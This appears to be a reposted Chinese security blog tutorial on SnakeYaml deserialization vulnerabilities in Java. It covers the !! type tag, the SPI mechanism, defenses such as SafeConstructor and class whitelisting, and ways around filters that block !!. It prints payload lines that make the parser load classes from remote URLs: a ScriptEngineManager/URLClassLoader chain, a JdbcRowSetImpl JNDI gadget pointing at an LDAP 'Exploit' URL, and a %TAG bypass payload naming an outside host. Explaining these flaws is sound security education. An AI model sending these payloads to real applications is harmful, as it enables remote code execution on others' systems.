🗒️SnakeYaml反序列化
2021-7-2
| 2023-4-17
0  |  0 分钟
type
status
date
slug
summary
tags
category
icon
password

SnakeYaml简介

SnakeYaml是用于解析YAML,序列化以及反序列化的第三方框架
SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。 SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
Yaml.dump():将一个对象转化为yaml文件形式;

SnakeYaml反序列化漏洞

影响版本:全版本 序列化 Myclass类:
Test类:
结果:
MyClass: !!test.MyClass {}
前面的!!是用于强制类型转化,强制转换为!!后指定的类型,如果没有”!”就是个key为字符串的Map。其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

SPI机制

SPI,全称为Service Provider Interface,是一种服务发现机制。
它通过在ClassPath路径下的METAINF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现
也就是说,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类
实现原理: 程序会通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()创建对象,并存到缓存和列表里面

利用

使用基于:
javax.script.ScriptEngineManager 的利用链进行攻击,ScriptEngineManager类用于Java和JavaScript之间的调用,可调用此类达到命令执行的效果。 和json反序列化的攻击方法类似,使用远程调用方法,先写poc.java,
这条 POC 是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。 然后实现ScriptEngineManager接口并写入恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:
另外还需在已放置poc.class的第三方Web服务根目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名poc
最后是模拟一个场景,TEST类:
poc模拟用户输入,内容为:
!!javax.script.ScriptEngineManager\[!!java.net.URLClassLoader \[\[!!java.net.URL \["[http://127.0.0.1/"\]\]\]\]](http://127.0.0.1/"]]]]&#x60); 这样可通过ScriptEngineManager来访问特定服务器的恶意class文件执行任意命令
至于为什么要创建META-INF/services目录,经调试可以发现在利用链init()中调用了initEngines(),它会去寻找目标URL中META-INF/services下的javax.script.ScriptEngineFactory的文件,找到指定文件便会加载其内容。
除此之外还有其他Gadgets,如
!!com.sun.rowset.JdbcRowSetImpl\\ndataSourceName: \\"ldap://localhost:1389/Exploit\\"\\n autoCommit:true"

防御手段

A.禁止Yaml.load()函数参数外部可控;
B.过滤用户可控的参数内容,可使用SafeConstructor对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;

!!绕过

snakeyaml 一般情况下是可以直接进行反序列化攻击的但有些代码“不允许 yaml 中存在 !!”。
每个 !! 修饰过的类会转成了一个 TAG。
例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:
所以!!javax.script.ScriptEngineManager的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager
!! 另外几种 TAG 的表示方式。
第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。
前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:
所以要想反序列化恶意类就需要这样构造
这样就可以绕过不允许存在 !! 的限制。
第二种,需要在 yaml 中用%TAG声明一个 TAG
例如我声明 ! 的tag是 tag:yaml.org,2002:
%TAG ! tag:yaml.org,2002:
后面再调用!str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str
最终我构造的反序列化攻击payload如下
%TAG ! tag:yaml.org,2002: — !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [“http://b1ue.cn/”]]]]
同样也只使用了一个!,绕过了!!的限制。
———————————————— 版权声明:本文为CSDN博主「小虾仁芜湖」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_43966957/article/details/128476215 https://blog.csdn.net/m0_37583655/article/details/122686383 https://blog.csdn.net/weixin_43510203/article/details/115276795 https://blog.csdn.net/include_voidmain/article/details/126829745
 
 
SnakeYaml反序列化
漏洞
  • 漏洞
  • smms+PicGo图床使用shiro反序列化漏洞 550/721
    目录